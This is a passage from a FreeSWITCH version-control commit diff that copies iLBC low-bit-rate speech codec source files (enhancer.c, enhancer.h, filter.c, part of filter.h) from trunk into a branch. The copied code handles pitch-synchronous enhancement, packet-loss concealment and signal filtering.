+#ifndef __iLBC_DOCLPC_H
+#define __iLBC_DOCLPC_H
+
+void doThePLC(float *PLCresidual,                   /* (o) concealed residual */
+              float *PLClpc,                        /* (o) concealed LP parameters */
+              int PLI,                              /* (i) packet loss indicator, 0 - no PL, 1 = PL */
+              float *decresidual,                   /* (i) decoded residual */
+              float *lpc,                           /* (i) decoded LPC (only used for no PL) */
+              int inlag,                            /* (i) pitch lag */
+              ilbc_decode_state_t *iLBCdec_inst);   /* (i/o) decoder instance */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/enhancer.c

Copied: freeswitch/branches/seven/libs/ilbc/src/enhancer.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/enhancer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/enhancer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/enhancer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,686 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * enhancer.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: enhancer.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "filter.h"
+#include "enhancer.h"
+
+/*----------------------------------------------------------------*
+ * Find index in array such that the array element with said
+ * index is the element of said array closest to "value"
+ * according to the squared-error criterion
+ *---------------------------------------------------------------*/
+
+static void NearestNeighbor(int *index,            /* (o) index of array element closest to value */
+                            const float *array,    /* (i) data array */
+                            float value,           /* (i) value */
+                            int arlength)          /* (i) dimension of data array */
+{
+    int i;
+    float bestcrit;
+    float crit;
+
+    crit = array[0] - value;
+    bestcrit = crit*crit;
+    *index = 0;
+    for (i = 1;  i < arlength;  i++)
+    {
+        crit = array[i] - value;
+        crit = crit*crit;
+
+        if (crit < bestcrit)
+        {
+            bestcrit= crit;
+            *index = i;
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ * compute cross correlation between sequences
+ *---------------------------------------------------------------*/
+
+static void mycorr1(float *corr,       /* (o) correlation of seq1 and seq2 */
+                    float *seq1,       /* (i) first sequence */
+                    int dim1,          /* (i) dimension first seq1 */
+                    const float *seq2, /* (i) second sequence */
+                    int dim2)          /* (i) dimension seq2 */
+{
+    int i;
+    int j;
+
+    for (i = 0;  i <= dim1 - dim2;  i++)
+    {
+        corr[i] = 0.0f;
+        for (j = 0;  j < dim2;  j++)
+            corr[i] += seq1[i + j]*seq2[j];
+    }
+}
+
+/*----------------------------------------------------------------*
+ * upsample finite array assuming zeros outside bounds
+ *---------------------------------------------------------------*/
+
+static void enh_upsample(float *useq1,     /* (o) upsampled output sequence */
+                         float *seq1,      /* (i) unupsampled sequence */
+                         int dim1,         /* (i) dimension seq1 */
+                         int hfl)          /* (i) polyphase filter length=2*hfl+1 */
+{
+    float *pu;
+    float *ps;
+    int i;
+    int j;
+    int k;
+    int q;
+    int filterlength;
+    int hfl2;
+    const float *polyp[ENH_UPS0]; /* pointers to polyphase columns */
+    const float *pp;
+
+    /* define pointers for filter */
+
+    filterlength = 2*hfl + 1;
+
+    if (filterlength > dim1)
+    {
+        hfl2 = (int) (dim1/2);
+        for (j = 0;  j < ENH_UPS0;  j++)
+            polyp[j] = polyphaserTbl + j*filterlength + hfl - hfl2;
+        hfl = hfl2;
+        filterlength = 2*hfl + 1;
+    }
+    else
+    {
+        for (j = 0;  j < ENH_UPS0;  j++)
+            polyp[j] = polyphaserTbl+j*filterlength;
+    }
+
+    /* filtering: filter overhangs left side of sequence */
+    pu = useq1;
+    for (i = hfl;  i < filterlength;  i++)
+    {
+        for (j = 0;  j < ENH_UPS0;  j++)
+        {
+            *pu = 0.0f;
+            pp = polyp[j];
+            ps = seq1 + i;
+            for (k = 0;  k <= i;  k++)
+                *pu += *ps-- * *pp++;
+            pu++;
+        }
+    }
+
+    /* filtering: simple convolution=inner products */
+    for (i = filterlength;  i < dim1;  i++)
+    {
+        for (j = 0;  j < ENH_UPS0;  j++)
+        {
+            *pu = 0.0f;
+            pp = polyp[j];
+            ps = seq1 + i;
+            for (k = 0;  k < filterlength;  k++)
+                *pu += *ps-- * *pp++;
+            pu++;
+        }
+    }
+
+    /* filtering: filter overhangs right side of sequence */
+    for (q = 1;  q <= hfl;  q++)
+    {
+        for (j = 0;  j < ENH_UPS0;  j++)
+        {
+            *pu = 0.0f;
+            pp = polyp[j] + q;
+            ps = seq1 + dim1 - 1;
+            for (k = 0;  k < filterlength - q;  k++)
+                *pu += *ps-- * *pp++;
+            pu++;
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ * find segment starting near idata+estSegPos that has highest
+ * correlation with idata+centerStartPos through
+ * idata+centerStartPos+ENH_BLOCKL-1 segment is found at a
+ * resolution of ENH_UPSO times the original of the original
+ * sampling rate
+ *---------------------------------------------------------------*/
+
+static void refiner(float *seg,            /* (o) segment array */
+                    float *updStartPos,    /* (o) updated start point */
+                    float *idata,          /* (i) original data buffer */
+                    int idatal,            /* (i) dimension of idata */
+                    int centerStartPos,    /* (i) beginning center segment */
+                    float estSegPos,       /* (i) estimated beginning other segment */
+                    float period)          /* (i) estimated pitch period */
+{
+    int estSegPosRounded;
+    int searchSegStartPos;
+    int searchSegEndPos;
+    int corrdim;
+    int tloc;
+    int tloc2;
+    int i;
+    int st;
+    int en;
+    int fraction;
+    float vect[ENH_VECTL];
+    float corrVec[ENH_CORRDIM];
+    float maxv;
+    float corrVecUps[ENH_CORRDIM*ENH_UPS0];
+
+    period = period;
+
+    /* defining array bounds */
+    estSegPosRounded = (int)(estSegPos - 0.5f);
+
+    searchSegStartPos = estSegPosRounded - ENH_SLOP;
+
+    if (searchSegStartPos < 0)
+        searchSegStartPos = 0;
+    searchSegEndPos = estSegPosRounded + ENH_SLOP;
+
+    if (searchSegEndPos + ENH_BLOCKL >= idatal)
+        searchSegEndPos = idatal - ENH_BLOCKL - 1;
+    corrdim = searchSegEndPos - searchSegStartPos + 1;
+
+    /* compute upsampled correlation (corr33) and find location of max */
+    mycorr1(corrVec, idata + searchSegStartPos, corrdim + ENH_BLOCKL - 1, idata + centerStartPos, ENH_BLOCKL);
+    enh_upsample(corrVecUps, corrVec, corrdim, ENH_FL0);
+    tloc = 0;
+    maxv = corrVecUps[0];
+    for (i = 1;  i < ENH_UPS0*corrdim;  i++)
+    {
+        if (corrVecUps[i]>maxv)
+        {
+            tloc = i;
+            maxv = corrVecUps[i];
+        }
+    }
+
+    /* make vector can be upsampled without ever running outside bounds */
+    *updStartPos = (float) searchSegStartPos + (float) tloc/(float) ENH_UPS0 + 1.0f;
+    tloc2 = (int) (tloc/ENH_UPS0);
+
+    if (tloc > tloc2*ENH_UPS0)
+        tloc2++;
+    st = searchSegStartPos + tloc2 - ENH_FL0;
+
+    if (st < 0)
+    {
+        memset(vect, 0, -st*sizeof(float));
+        memcpy(&vect[-st], idata, (ENH_VECTL + st)*sizeof(float));
+    }
+    else
+    {
+        en = st + ENH_VECTL;
+
+        if (en>idatal)
+        {
+            memcpy(vect, &idata[st], (ENH_VECTL - (en - idatal))*sizeof(float));
+            memset(&vect[ENH_VECTL - (en - idatal)], 0, (en - idatal)*sizeof(float));
+        }
+        else
+        {
+            memcpy(vect, &idata[st], ENH_VECTL*sizeof(float));
+        }
+    }
+    fraction = tloc2*ENH_UPS0 - tloc;
+
+    /* compute the segment (this is actually a convolution) */
+    mycorr1(seg, vect, ENH_VECTL, polyphaserTbl + (2*ENH_FL0 + 1)*fraction, 2*ENH_FL0 + 1);
+}
+
+/*----------------------------------------------------------------*
+ * find the smoothed output data
+ *---------------------------------------------------------------*/
+
+static void smath(float *odata,    /* (o) smoothed output */
+                  float *sseq,     /* (i) said second sequence of waveforms */
+                  int hl,          /* (i) 2*hl+1 is sseq dimension */
+                  float alpha0)    /* (i) max smoothing energy fraction */
+{
+    int i;
+    int k;
+    float w00;
+    float w10;
+    float w11;
+    float A;
+    float B;
+    float C;
+    float *psseq;
+    float err,errs;
+    float surround[ILBC_BLOCK_LEN_MAX]; /* shape contributed by other than current */
+    float wt[2*ENH_HL + 1];     /* waveform weighting to get surround shape */
+    float denom;
+
+    /* create shape of contribution from all waveforms except the
+       current one */
+
+    for (i = 1;  i <= 2*hl + 1;  i++)
+        wt[i - 1] = 0.5f*(1.0f - cosf(2.0f*PI*i/(2.0f*hl + 2.0f)));
+    wt[hl] = 0.0f; /* for clarity, not used */
+    for (i = 0;  i < ENH_BLOCKL;  i++)
+        surround[i] = sseq[i]*wt[0];
+
+    for (k = 1;  k < hl;  k++)
+    {
+        psseq = sseq + k*ENH_BLOCKL;
+        for (i = 0;  i < ENH_BLOCKL;  i++)
+            surround[i] += psseq[i]*wt[k];
+    }
+    for (k = hl + 1;  k <= 2*hl;  k++)
+    {
+        psseq = sseq + k*ENH_BLOCKL;
+        for (i = 0;  i < ENH_BLOCKL;  i++)
+            surround[i] += psseq[i]*wt[k];
+    }
+
+    /* compute some inner products */
+    w00 =
+    w10 =
+    w11 = 0.0f;
+    psseq = sseq + hl*ENH_BLOCKL; /* current block  */
+    for (i = 0;  i < ENH_BLOCKL;  i++)
+    {
+        w00 += psseq[i]*psseq[i];
+        w11 += surround[i]*surround[i];
+        w10 += surround[i]*psseq[i];
+    }
+
+    if (fabsf(w11) < 1.0f)
+        w11 = 1.0f;
+    C = sqrtf(w00/w11);
+
+    /* first try enhancement without power-constraint */
+    errs = 0.0f;
+    psseq = sseq + hl*ENH_BLOCKL;
+    for (i = 0;  i < ENH_BLOCKL;  i++)
+    {
+        odata[i] = C*surround[i];
+        err = psseq[i] - odata[i];
+        errs += err*err;
+    }
+
+    /* if constraint violated by first try, add constraint */
+    if (errs > alpha0 * w00)
+    {
+        if (w00 < 1)
+            w00 = 1;
+        denom = (w11*w00 - w10*w10)/(w00*w00);
+
+        if (denom > 0.0001f)
+        {
+            /* eliminates numerical problems for if smooth */
+            A = sqrtf((alpha0 - alpha0*alpha0/4)/denom);
+            B = -alpha0/2.0f - A*w10/w00;
+            B = B + 1.0f;
+        }
+        else
+        {
+            /* essentially no difference between cycles; smoothing not needed */
+            A = 0.0f;
+            B = 1.0f;
+        }
+
+        /* create smoothed sequence */
+        psseq = sseq + hl*ENH_BLOCKL;
+        for (i = 0;  i < ENH_BLOCKL;  i++)
+            odata[i] = A*surround[i] + B*psseq[i];
+    }
+}
+
+/*----------------------------------------------------------------*
+ * get the pitch-synchronous sample sequence
+ *---------------------------------------------------------------*/
+
+static void getsseq(float *sseq,           /* (o) the pitch-synchronous sequence */
+                    float *idata,          /* (i) original data */
+                    int idatal,            /* (i) dimension of data */
+                    int centerStartPos,    /* (i) where current block starts */
+                    float *period,         /* (i) rough-pitch-period array */
+                    const float *plocs,    /* (i) where periods of period array are taken */
+                    int periodl,           /* (i) dimension period array */
+                    int hl)                /* (i) 2*hl+1 is the number of sequences */
+{
+    int i;
+    int centerEndPos;
+    int q;
+    float blockStartPos[2*ENH_HL + 1];
+    int lagBlock[2*ENH_HL + 1];
+    float plocs2[ENH_PLOCSL];
+    float *psseq;
+
+    centerEndPos = centerStartPos + ENH_BLOCKL - 1;
+
+    /* present */
+    NearestNeighbor(lagBlock + hl,
+                    plocs,
+                    0.5f*(centerStartPos + centerEndPos),
+                    periodl);
+
+    blockStartPos[hl] = (float) centerStartPos;
+
+    psseq = sseq + ENH_BLOCKL*hl;
+    memcpy(psseq, idata + centerStartPos, ENH_BLOCKL*sizeof(float));
+
+    /* past */
+    for (q = hl - 1;  q >= 0;  q--)
+    {
+        blockStartPos[q] = blockStartPos[q + 1] - period[lagBlock[q + 1]];
+        NearestNeighbor(lagBlock + q,
+                        plocs,
+                        blockStartPos[q] + ENH_BLOCKL_HALF - period[lagBlock[q + 1]],
+                        periodl);
+
+        if (blockStartPos[q] - ENH_OVERHANG >= 0)
+        {
+            refiner(sseq + q*ENH_BLOCKL,
+                    blockStartPos + q,
+                    idata,
+                    idatal,
+                    centerStartPos,
+                    blockStartPos[q],
+                    period[lagBlock[q + 1]]);
+        }
+        else
+        {
+            psseq = sseq + q*ENH_BLOCKL;
+            memset(psseq, 0, ENH_BLOCKL*sizeof(float));
+        }
+    }
+
+    /* future */
+    for (i = 0;  i < periodl;  i++)
+        plocs2[i] = plocs[i] - period[i];
+    for (q = hl + 1;  q <= 2*hl;  q++)
+    {
+        NearestNeighbor(lagBlock + q, plocs2, blockStartPos[q - 1] + ENH_BLOCKL_HALF, periodl);
+
+        blockStartPos[q] = blockStartPos[q - 1] + period[lagBlock[q]];
+        if (blockStartPos[q] + ENH_BLOCKL + ENH_OVERHANG < idatal)
+        {
+            refiner(sseq + ENH_BLOCKL*q,
+                    blockStartPos + q,
+                    idata,
+                    idatal,
+                    centerStartPos,
+                    blockStartPos[q],
+                    period[lagBlock[q]]);
+        }
+        else
+        {
+            psseq = sseq + q*ENH_BLOCKL;
+            memset(psseq, 0, ENH_BLOCKL*sizeof(float));
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ * perform enhancement on idata+centerStartPos through
+ * idata+centerStartPos+ENH_BLOCKL-1
+ *---------------------------------------------------------------*/
+
+static void enhancer(float *odata,         /* (o) smoothed block, dimension blockl */
+                     float *idata,         /* (i) data buffer used for enhancing */
+                     int idatal,           /* (i) dimension idata */
+                     int centerStartPos,   /* (i) first sample current block within idata */
+                     float alpha0,         /* (i) max correction-energy-fraction (in [0,1]) */
+                     float *period,        /* (i) pitch period array */
+                     const float *plocs,   /* (i) locations where period array values valid */
+                     int periodl)          /* (i) dimension of period and plocs */
+{
+    float sseq[(2*ENH_HL + 1)*ENH_BLOCKL];
+
+    /* get said second sequence of segments */
+    getsseq(sseq, idata, idatal, centerStartPos, period, plocs, periodl, ENH_HL);
+
+    /* compute the smoothed output from said second sequence */
+    smath(odata, sseq, ENH_HL, alpha0);
+}
+
+/*----------------------------------------------------------------*
+ * cross correlation
+ *---------------------------------------------------------------*/
+
+float xCorrCoef(float *target,      /* (i) first array */
+                float *regressor,   /* (i) second array */
+                int subl)           /* (i) dimension arrays */
+{
+    int i;
+    float ftmp1;
+    float ftmp2;
+
+    ftmp1 = 0.0f;
+    ftmp2 = 0.0f;
+    for (i = 0;  i < subl;  i++)
+    {
+        ftmp1 += target[i]*regressor[i];
+        ftmp2 += regressor[i]*regressor[i];
+    }
+
+    if (ftmp1 > 0.0f)
+        return (float)(ftmp1*ftmp1/ftmp2);
+    return 0.0f;
+}
+
+/*----------------------------------------------------------------*
+ * interface for enhancer
+ *---------------------------------------------------------------*/
+
+int enhancerInterface(float *out,                         /* (o) enhanced signal */
+                      float *in,                          /* (i) unenhanced signal */
+                      ilbc_decode_state_t *iLBCdec_inst)  /* (i) buffers etc */
+{
+    float *enh_buf;
+    float *enh_period;
+    int iblock;
+    int isample;
+    int lag = 0;
+    int ilag;
+    int i;
+    int ioffset;
+    float cc;
+    float maxcc;
+    float ftmp1;
+    float ftmp2;
+    float *inPtr;
+    float *enh_bufPtr1;
+    float *enh_bufPtr2;
+    float plc_pred[ENH_BLOCKL];
+
+    float lpState[6];
+    float downsampled[(ENH_NBLOCKS*ENH_BLOCKL + 120)/2];
+    int inLen = ENH_NBLOCKS*ENH_BLOCKL + 120;
+    int start;
+    int plc_blockl;
+    int inlag;
+
+    enh_buf = iLBCdec_inst->enh_buf;
+    enh_period = iLBCdec_inst->enh_period;
+
+    memmove(enh_buf,
+            &enh_buf[iLBCdec_inst->blockl],
+            (ENH_BUFL - iLBCdec_inst->blockl)*sizeof(float));
+
+    memcpy(&enh_buf[ENH_BUFL - iLBCdec_inst->blockl],
+           in,
+           iLBCdec_inst->blockl*sizeof(float));
+
+    if (iLBCdec_inst->mode == 30)
+        plc_blockl = ENH_BLOCKL;
+    else
+        plc_blockl = 40;
+
+    /* when 20 ms frame, move processing one block */
+    ioffset = 0;
+    if (iLBCdec_inst->mode == 20)
+        ioffset = 1;
+
+    i = 3 - ioffset;
+    memmove(enh_period, &enh_period[i], (ENH_NBLOCKS_TOT - i)*sizeof(float));
+
+    /* Set state information to the 6 samples right before
+       the samples to be downsampled. */
+
+    memcpy(lpState,
+           enh_buf + (ENH_NBLOCKS_EXTRA + ioffset)*ENH_BLOCKL - 126,
+           6*sizeof(float));
+
+    /* Down sample a factor 2 to save computations */
+    DownSample(enh_buf + (ENH_NBLOCKS_EXTRA + ioffset)*ENH_BLOCKL - 120,
+               lpFilt_coefsTbl,
+               inLen - ioffset*ENH_BLOCKL,
+               lpState,
+               downsampled);
+
+    /* Estimate the pitch in the down sampled domain. */
+    for (iblock = 0; iblock<ENH_NBLOCKS-ioffset; iblock++)
+    {
+        lag = 10;
+        maxcc = xCorrCoef(downsampled + 60 + iblock*ENH_BLOCKL_HALF,
+                          downsampled + 60 + iblock*ENH_BLOCKL_HALF - lag,
+                          ENH_BLOCKL_HALF);
+        for (ilag = 11;  ilag < 60;  ilag++)
+        {
+            cc = xCorrCoef(downsampled + 60 + iblock*ENH_BLOCKL_HALF,
+                           downsampled + 60 + iblock*ENH_BLOCKL_HALF - ilag,
+                           ENH_BLOCKL_HALF);
+            if (cc > maxcc)
+            {
+                maxcc = cc;
+                lag = ilag;
+            }
+        }
+
+        /* Store the estimated lag in the non-downsampled domain */
+        enh_period[iblock + ENH_NBLOCKS_EXTRA + ioffset] = (float) lag*2.0f;
+    }
+    /* PLC was performed on the previous packet */
+    if (iLBCdec_inst->prev_enh_pl == 1)
+    {
+        inlag = (int) enh_period[ENH_NBLOCKS_EXTRA + ioffset];
+
+        lag = inlag - 1;
+        maxcc = xCorrCoef(in, in + lag, plc_blockl);
+        for (ilag = inlag;  ilag <= inlag + 1;  ilag++)
+        {
+            cc = xCorrCoef(in, in + ilag, plc_blockl);
+            if (cc > maxcc)
+            {
+                maxcc = cc;
+                lag = ilag;
+            }
+        }
+
+        enh_period[ENH_NBLOCKS_EXTRA + ioffset - 1] = (float) lag;
+
+        /* compute new concealed residual for the old lookahead,
+           mix the forward PLC with a backward PLC from
+           the new frame */
+
+        inPtr = &in[lag - 1];
+
+        enh_bufPtr1 = &plc_pred[plc_blockl - 1];
+
+        if (lag > plc_blockl)
+            start = plc_blockl;
+        else
+            start = lag;
+
+        for (isample = start;  isample > 0;  isample--)
+            *enh_bufPtr1-- = *inPtr--;
+
+        enh_bufPtr2=&enh_buf[ENH_BUFL - 1 - iLBCdec_inst->blockl];
+        for (isample = (plc_blockl - 1 - lag);  isample >= 0;  isample--)
+            *enh_bufPtr1-- = *enh_bufPtr2--;
+
+        /* limit energy change */
+        ftmp2 = 0.0f;
+        ftmp1 = 0.0f;
+        for (i = 0;  i < plc_blockl;  i++)
+        {
+            ftmp2 += enh_buf[ENH_BUFL - 1 - iLBCdec_inst->blockl - i]*enh_buf[ENH_BUFL - 1 - iLBCdec_inst->blockl - i];
+            ftmp1 += plc_pred[i]*plc_pred[i];
+        }
+        ftmp1 = sqrtf(ftmp1/(float) plc_blockl);
+        ftmp2 = sqrtf(ftmp2/(float) plc_blockl);
+        if (ftmp1 > 2.0f*ftmp2  &&  ftmp1 > 0.0f)
+        {
+            for (i = 0;  i < plc_blockl - 10;  i++)
+                plc_pred[i] *= 2.0f*ftmp2/ftmp1;
+            for (i = plc_blockl - 10;  i < plc_blockl;  i++)
+                plc_pred[i]*=(float)(i - plc_blockl + 10)*(1.0f - 2.0f*ftmp2/ftmp1)/10.0f + 2.0f*ftmp2/ftmp1;
+        }
+
+        enh_bufPtr1 = &enh_buf[ENH_BUFL - 1 - iLBCdec_inst->blockl];
+        for (i = 0;  i < plc_blockl;  i++)
+        {
+            ftmp1 = (float) (i + 1)/(float) (plc_blockl + 1);
+            *enh_bufPtr1 *= ftmp1;
+            *enh_bufPtr1 += (1.0f - ftmp1)*plc_pred[plc_blockl - 1 - i];
+            enh_bufPtr1--;
+        }
+    }
+
+    if (iLBCdec_inst->mode == 20)
+    {
+        /* Enhancer with 40 samples delay */
+        for (iblock = 0;  iblock < 2;  iblock++)
+        {
+            enhancer(out + iblock*ENH_BLOCKL,
+                     enh_buf,
+                     ENH_BUFL,
+                     (5 + iblock)*ENH_BLOCKL + 40,
+                     ENH_ALPHA0,
+                     enh_period,
+                     enh_plocsTbl,
+                     ENH_NBLOCKS_TOT);
+        }
+    }
+    else if (iLBCdec_inst->mode == 30)
+    {
+        /* Enhancer with 80 samples delay */
+        for (iblock = 0;  iblock < 3;  iblock++)
+        {
+            enhancer(out + iblock*ENH_BLOCKL,
+                     enh_buf,
+                     ENH_BUFL,
+                     (4 + iblock)*ENH_BLOCKL,
+                     ENH_ALPHA0,
+                     enh_period,
+                     enh_plocsTbl,
+                     ENH_NBLOCKS_TOT);
+        }
+    }
+
+    return lag*2;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/enhancer.h

Copied: freeswitch/branches/seven/libs/ilbc/src/enhancer.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/enhancer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/enhancer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/enhancer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * enhancer.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: enhancer.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __ENHANCER_H
+#define __ENHANCER_H
+
+float xCorrCoef(float *target,                              /* (i) first array */
+                float *regressor,                           /* (i) second array */
+                int subl);                                  /* (i) dimension arrays */
+
+int enhancerInterface(float *out,                           /* (o) the enhanced recidual signal */
+                      float *in,                            /* (i) the recidual signal to enhance */
+                      ilbc_decode_state_t *iLBCdec_inst);   /* (i/o) the decoder state structure */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/filter.c

Copied: freeswitch/branches/seven/libs/ilbc/src/filter.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/filter.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/filter.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/filter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * filter.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: filter.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+
+#include "iLBC_define.h"
+#include "filter.h"
+
+/*----------------------------------------------------------------*
+ *  all-pole filter
+ *---------------------------------------------------------------*/
+
+void AllPoleFilter(float *InOut,   /* (i/o) on entrance InOut[-orderCoef] to
+                                            InOut[-1] contain the state of the
+                                            filter (delayed samples). InOut[0] to
+                                            InOut[lengthInOut-1] contain the filter
+                                            input, on en exit InOut[-orderCoef] to
+                                            InOut[-1] is unchanged and InOut[0] to
+                                            InOut[lengthInOut-1] contain filtered
+                                            samples */
+                   const float *Coef,   /* (i) filter coefficients, Coef[0] is assumed to be 1.0 */
+                   int lengthInOut,     /* (i) number of input/output samples */
+                   int orderCoef)       /* (i) number of filter coefficients */
+{
+    int n;
+    int k;
+
+    for (n = 0;  n < lengthInOut;  n++)
+    {
+        for (k = 1;  k <= orderCoef;  k++)
+            *InOut -= Coef[k]*InOut[-k];
+        InOut++;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  all-zero filter
+ *---------------------------------------------------------------*/
+
+void AllZeroFilter(float *In,           /* (i) In[0] to In[lengthInOut-1] contain
+                                               filter input samples */
+                   const float *Coef,   /* (i) filter coefficients (Coef[0] is assumed to be 1.0) */
+                   int lengthInOut,     /* (i) number of input/output samples */
+                   int orderCoef,       /* (i) number of filter coefficients */
+                   float *Out)          /* (i/o) on entrance Out[-orderCoef] to Out[-1]
+                                                 contain the filter state, on exit Out[0]
+                                                 to Out[lengthInOut-1] contain filtered
+                                                 samples */
+{
+    int n;
+    int k;
+
+    for (n = 0;  n < lengthInOut;  n++)
+    {
+        *Out = Coef[0]*In[0];
+        for (k = 1;  k <= orderCoef;  k++)
+            *Out += Coef[k]*In[-k];
+        Out++;
+        In++;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  pole-zero filter
+ *---------------------------------------------------------------*/
+
+void ZeroPoleFilter(float *In,              /* (i) In[0] to In[lengthInOut-1] contain
+                                                   filter input samples In[-orderCoef] to
+                                                   In[-1] contain state of all-zero
+                                                   section */
+                    const float *ZeroCoef,  /* (i) filter coefficients for all-zero
+                                                   section (ZeroCoef[0] is assumed to
+                                                   be 1.0) */
+                    const float *PoleCoef,  /* (i) filter coefficients for all-pole section
+                                                   (ZeroCoef[0] is assumed to be 1.0) */
+                    int lengthInOut,        /* (i) number of input/output samples */
+                    int orderCoef,          /* (i) number of filter coefficients */
+                    float *Out)             /* (i/o) on entrance Out[-orderCoef] to Out[-1]
+                                                     contain state of all-pole section. On
+                                                     exit Out[0] to Out[lengthInOut-1]
+                                                     contain filtered samples */
+{
+    AllZeroFilter(In, ZeroCoef, lengthInOut, orderCoef, Out);
+    AllPoleFilter(Out, PoleCoef, lengthInOut, orderCoef);
+}
+
+/*----------------------------------------------------------------*
+ * downsample (LP filter and decimation)
+ *---------------------------------------------------------------*/
+
+void DownSample(const float *In,        /* (i) input samples */
+                const float *Coef,      /* (i) filter coefficients */
+                int lengthIn,           /* (i) number of input samples */
+                float *state,           /* (i) filter state */
+                float *Out)             /* (o) downsampled output */
+{
+    float o;
+    float *Out_ptr = Out;
+    const float *Coef_ptr;
+    const float *In_ptr;
+    float *state_ptr;
+    int i;
+    int j;
+    int stop;
+
+    /* LP filter and decimate at the same time */
+    for (i = DELAY_DS;  i < lengthIn;  i += FACTOR_DS)
+    {
+        Coef_ptr = &Coef[0];
+        In_ptr = &In[i];
+        state_ptr = &state[FILTERORDER_DS - 2];
+
+        o = 0.0f;
+
+        stop = (i < FILTERORDER_DS)  ?  i + 1  :  FILTERORDER_DS;
+
+        for (j = 0;  j < stop;  j++)
+            o += *Coef_ptr++ * (*In_ptr--);
+        for (j = i + 1;  j < FILTERORDER_DS;  j++)
+            o += *Coef_ptr++ * (*state_ptr--);
+        *Out_ptr++ = o;
+    }
+
+    /* Get the last part (use zeros as input for the future) */
+    for (i = (lengthIn + FACTOR_DS);  i < (lengthIn + DELAY_DS);  i += FACTOR_DS)
+    {
+        o = 0.0f;
+
+        if (i<lengthIn)
+        {
+            Coef_ptr = &Coef[0];
+            In_ptr = &In[i];
+            for (j = 0;  j < FILTERORDER_DS;  j++)
+                o += *Coef_ptr++ * (*Out_ptr--);
+        }
+        else
+        {
+            Coef_ptr = &Coef[i-lengthIn];
+            In_ptr = &In[lengthIn-1];
+            for (j = 0;  j < FILTERORDER_DS - (i - lengthIn);  j++)
+                o += *Coef_ptr++ * (*In_ptr--);
+        }
+        *Out_ptr++ = o;
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/filter.h

Copied: freeswitch/branches/seven/libs/ilbc/src/filter.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/filter.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/filter.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/filter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * filter.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: filter.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_FILTER_H
+#define __iLBC_FILTER_H
+
+void AllPoleFilter(float *InOut,            /* (i/o) on entrance InOut[-orderCoef] to
+                                                     InOut[-1] contain the state of the
+                                                     filter (delayed samples). InOut[0] to
+                                                     InOut[lengthInOut-1] contain the filter
